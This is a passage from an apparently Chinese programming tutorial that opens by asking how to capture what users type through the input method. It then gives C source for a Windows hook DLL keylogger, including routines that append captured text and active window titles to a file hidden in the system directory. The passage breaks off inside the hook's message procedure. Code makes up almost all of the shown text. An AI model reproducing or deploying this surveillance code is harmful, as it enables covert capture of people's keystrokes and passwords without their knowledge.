我们想知道用户输入了什么吗,
那么我们可以拦截输入法吗,当然可以
我们先实现钩子
#include "windows.h"
#include "imm.h"
#include "stdio.h"
//#define HOOK_API __declspec(dllexport)
HHOOK g_hHook = NULL; //hook句柄
HINSTANCE g_hHinstance = NULL; //程序句柄
HWND LastFocusWnd = 0;//上一次句柄,必须使全局的
HWND FocusWnd; //当前窗口句柄,必须使全局的
char title[256]; //获得窗口名字
char *ftemp; //begin/end 写到文件里面
char temptitle[256]="<<标题:"; //<<标题:窗口名字>>
char t[2]={0,0}; //捕获单个字母
void writefile(char *lpstr)
{//保存为文件
FILE* f1;
char cmd[256];
GetSystemDirectory(cmd,256);
strcat(cmd,"\\hooktxt.txt");
f1=fopen(cmd,"a+");
fwrite(lpstr,strlen(lpstr),1,f1);
fclose(f1);
}
void writtitle()
{//保存当前窗口
FocusWnd = GetActiveWindow();
if(LastFocusWnd != FocusWnd)
{
ftemp="\n---------End----------\n";
writefile(ftemp);
ftemp="\n--------begin---------\n";
writefile(ftemp);
GetWindowText(FocusWnd, title, 256); //当前窗口标题
LastFocusWnd = FocusWnd;
strcat(temptitle,title);
strcat(temptitle,">>\n");
writefile(temptitle);
}
}
LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{
PMSG pmsg